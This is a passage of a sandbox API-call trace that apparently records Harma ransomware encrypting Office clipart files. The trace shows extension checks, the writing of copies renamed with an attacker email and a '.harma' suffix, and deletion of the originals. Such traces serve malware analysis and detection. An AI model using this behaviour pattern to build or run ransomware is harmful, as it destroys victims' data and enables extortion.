hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0163.184] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0163.184] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.184] SetEndOfFile (hFile=0x338) returned 1 [0163.184] CloseHandle (hObject=0x338) returned 1 [0163.184] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.184] SetEndOfFile (hFile=0x3a4) returned 1 [0163.188] CloseHandle (hObject=0x3a4) returned 1 [0163.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.190] lstrlenW (lpString=".doc") returned 4 [0163.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString=".docx") returned 5 [0163.190] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.190] lstrlenW (lpString=".pdf") returned 4 [0163.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString=".xls") returned 4 [0163.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.190] lstrlenW (lpString=".xlsx") returned 5 [0163.190] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.190] lstrlenW (lpString=".ppt") returned 4 [0163.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.190] lstrlenW (lpString=".zip") returned 4 [0163.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.190] lstrlenW (lpString=".rar") returned 4 [0163.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString=".bz2") returned 4 [0163.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString=".7z") returned 3 [0163.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.190] lstrlenW (lpString=".dbf") returned 4 [0163.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.191] lstrlenW (lpString=".1cd") returned 4 [0163.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.191] lstrlenW (lpString=".jpg") returned 4 [0163.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.191] lstrlenW (lpString=".doc") returned 4 [0163.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString=".docx") returned 5 [0163.191] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0163.191] lstrlenW (lpString=".pdf") returned 4 [0163.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString=".xls") returned 4 [0163.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.191] lstrlenW (lpString=".xlsx") returned 5 [0163.191] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0163.191] lstrlenW (lpString=".ppt") returned 4 [0163.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.191] lstrlenW (lpString=".zip") returned 4 [0163.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.191] lstrlenW (lpString=".rar") returned 4 [0163.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.191] lstrlenW (lpString=".bz2") returned 4 [0163.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.192] lstrlenW (lpString=".7z") returned 3 [0163.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.192] lstrlenW (lpString=".dbf") returned 4 [0163.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.192] lstrlenW (lpString=".1cd") returned 4 [0163.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0163.192] lstrlenW (lpString=".jpg") returned 4 [0163.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.192] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.192] lstrlenW (lpString="J0099181.WMF") returned 12 [0163.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.193] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1198) returned 1 [0163.193] CloseHandle (hObject=0x3a4) returned 1 [0163.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0163.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.194] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.194] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0163.195] GetLastError () returned 0x0 [0163.195] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4ae, lpOverlapped=0x0) returned 1 [0163.197] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0163.199] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0163.199] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.199] SetEndOfFile (hFile=0x338) returned 1 [0163.199] CloseHandle (hObject=0x338) returned 1 [0163.199] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.199] SetEndOfFile (hFile=0x3a4) returned 1 [0163.204] CloseHandle (hObject=0x3a4) returned 1 [0163.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0163.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.206] lstrlenW (lpString=".doc") returned 4 [0163.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.206] lstrlenW (lpString=".docx") returned 5 [0163.206] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0163.206] lstrlenW (lpString=".pdf") returned 4 [0163.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.206] lstrlenW (lpString=".xls") returned 4 [0163.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.207] lstrlenW (lpString=".xlsx") returned 5 [0163.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0163.207] lstrlenW (lpString=".ppt") returned 4 [0163.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.207] lstrlenW (lpString=".zip") returned 4 [0163.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.207] lstrlenW (lpString=".rar") returned 4 [0163.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.207] lstrlenW (lpString=".bz2") returned 4 [0163.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.207] lstrlenW (lpString=".7z") returned 3 [0163.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.207] lstrlenW (lpString=".dbf") returned 4 [0163.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.207] lstrlenW (lpString=".1cd") returned 4 [0163.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.207] lstrlenW (lpString=".jpg") returned 4 [0163.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.208] lstrlenW (lpString=".doc") returned 4 [0163.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.208] lstrlenW (lpString=".docx") returned 5 [0163.208] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0163.208] lstrlenW (lpString=".pdf") returned 4 [0163.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.208] lstrlenW (lpString=".xls") returned 4 [0163.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.208] lstrlenW (lpString=".xlsx") returned 5 [0163.208] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0163.208] lstrlenW (lpString=".ppt") returned 4 [0163.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.209] lstrlenW (lpString=".zip") returned 4 [0163.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.209] lstrlenW (lpString=".rar") returned 4 [0163.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.209] lstrlenW (lpString=".bz2") returned 4 [0163.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.209] lstrlenW (lpString=".7z") returned 3 [0163.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.209] lstrlenW (lpString=".dbf") returned 4 [0163.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.209] lstrlenW (lpString=".1cd") returned 4 [0163.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0163.209] lstrlenW (lpString=".jpg") returned 4 [0163.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.209] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.209] lstrlenW (lpString="J0099182.WMF") returned 12 [0163.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.210] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3840) returned 1 [0163.210] CloseHandle (hObject=0x3a4) returned 1 [0163.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0163.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.211] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.211] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0163.502] GetLastError () returned 0x0 [0163.502] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xf00, lpOverlapped=0x0) returned 1 [0163.503] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf10, lpOverlapped=0x0) returned 1 [0163.504] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0163.504] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.504] SetEndOfFile (hFile=0x338) returned 1 [0163.505] CloseHandle (hObject=0x338) returned 1 [0163.505] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0163.505] SetEndOfFile (hFile=0x3a4) returned 1 [0163.507] CloseHandle (hObject=0x3a4) returned 1 [0163.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0164.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.253] lstrlenW (lpString=".doc") returned 4 [0164.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.253] lstrlenW (lpString=".docx") returned 5 [0164.253] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.253] lstrlenW (lpString=".pdf") returned 4 [0164.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.253] lstrlenW (lpString=".xls") returned 4 [0164.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.253] lstrlenW (lpString=".xlsx") returned 5 [0164.253] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.253] lstrlenW (lpString=".ppt") returned 4 [0164.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.253] lstrlenW (lpString=".zip") returned 4 [0164.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.253] lstrlenW (lpString=".rar") returned 4 [0164.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.253] lstrlenW (lpString=".bz2") returned 4 [0164.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.254] lstrlenW (lpString=".7z") returned 3 [0164.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.254] lstrlenW (lpString=".dbf") returned 4 [0164.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.254] lstrlenW (lpString=".1cd") returned 4 [0164.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.254] lstrlenW (lpString=".jpg") returned 4 [0164.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.254] lstrlenW (lpString=".doc") returned 4 [0164.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.254] lstrlenW (lpString=".docx") returned 5 [0164.254] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0164.254] lstrlenW (lpString=".pdf") returned 4 [0164.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString=".xls") returned 4 [0164.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.255] lstrlenW (lpString=".xlsx") returned 5 [0164.255] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0164.255] lstrlenW (lpString=".ppt") returned 4 [0164.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.255] lstrlenW (lpString=".zip") returned 4 [0164.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.255] lstrlenW (lpString=".rar") returned 4 [0164.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString=".bz2") returned 4 [0164.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString=".7z") returned 3 [0164.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.255] lstrlenW (lpString=".dbf") returned 4 [0164.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.255] lstrlenW (lpString=".1cd") returned 4 [0164.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0164.255] lstrlenW (lpString=".jpg") returned 4 [0164.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.256] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0164.256] lstrlenW (lpString="J0099186.JPG") returned 12 [0164.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.256] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=16738) returned 1 [0164.256] CloseHandle (hObject=0x39c) returned 1 [0164.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0164.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.257] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.257] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0164.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0164.258] GetLastError () returned 0x0 [0164.258] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4162, lpOverlapped=0x0) returned 1 [0164.296] WriteFile (in: hFile=0x340, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4170, lpOverlapped=0x0) returned 1 [0164.297] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0164.298] WriteFile (in: hFile=0x340, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 